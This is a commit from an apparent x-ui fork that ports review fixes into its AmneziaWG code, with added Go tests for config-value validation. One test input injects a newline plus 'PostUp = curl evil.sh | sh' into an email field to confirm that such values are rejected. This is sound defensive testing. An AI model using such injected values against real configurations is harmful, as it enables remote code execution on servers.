fix: port the PR #6105 review-round fixes into this fork's own AmneziaWG code

Same 8 findings fixed on upstream-pr/amneziawg, ported here since this
fork's internal/amneziawg + related web/service files predate that PR
branch's own fix-up commits:

1. hostRulesFingerprint now folds in a peer's IPv4 whenever
   ForwardedPorts is set, not only when RouteThroughXray is on, so a
   re-IP forces the bounce needed to move the DNAT rule too.
2. ValidateConfigValue (new, params.go) rejects control characters in
   server/client keys, email and I1 at save time; sanitizeConfigValue
   strips them defensively at .conf-render time.
3. checkForwardedPortsConflict now scopes to node_id IS NULL and takes
   a pre-loaded portConflictContext (loadPortConflictContext), so a
   port used only on another node isn't a false collision and an
   inbound with N clients costs one query instead of N.
4. PostDown commands are now best-effort (appendOrTrue) so an external
   firewall flush can't abort the rest of the teardown chain.
5. The "ip rule list | grep -q" existence check now uses
   grep -c >/dev/null, avoiding a pipefail/SIGPIPE false negative that
   could re-add a duplicate rule.
6. route_egress.go's stale "always present, no opt-in" comment
   corrected to describe the real RouteThroughXray-gated behavior.
   (This fork's genAmneziaWGLink already emits vpn://, and there's no
   upstream-facing docs page here, so neither needed the PR branch's
   Finding 6 docs/link-format changes.)
7. install.sh: Arch's ndppd install uses pacman -Sy, not -Syu, matching
   every other pacman call in the script; should_install_amneziawg
   short-circuits to yes when awg is already installed, so `x-ui
   update` doesn't re-prompt -- this fork's own opt-out-by-default
   philosophy for should_install_amneziawg is unchanged, only the
   redundant-reprompt behavior is fixed.
8. CollectTraffic checks pointer identity before writing back a
   traffic-counter baseline, so a concurrent restart's freshly-reset
   (empty) baseline can't be clobbered by stale pre-restart counters.
   sweepOrphansLocked no longer permanently disables itself on a
   transient os.ReadDir failure.

go build/vet/test and frontend typecheck/lint/build/vitest all pass.
This commit is contained in:
Kuzz007
2026-07-29 01:21:03 +03:00
parent a903ca6793
commit d3da7abdf0
9 changed files with 319 additions and 72 deletions
+31
View File
@@ -211,3 +211,34 @@ func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
}
}
}
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
if err := ValidateConfigValue("email", v); err != nil {
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
}
}
}
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
cases := []string{
"a@x\nPostUp = curl evil.sh | sh",
"a@x\r\n[Interface]",
"tab\there",
"a@x\x7f",
}
for _, v := range cases {
if err := ValidateConfigValue("email", v); err == nil {
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
}
}
}
func TestSanitizeConfigValueStripsControlCharactersOnly(t *testing.T) {
if got := sanitizeConfigValue("a@x\nPostUp = evil\r\n"); got != "a@xPostUp = evil" {
t.Errorf("sanitizeConfigValue must drop newlines/CR without altering the rest, got %q", got)
}
if got := sanitizeConfigValue("plain-value_123"); got != "plain-value_123" {
t.Errorf("sanitizeConfigValue must not touch an already-clean value, got %q", got)
}
}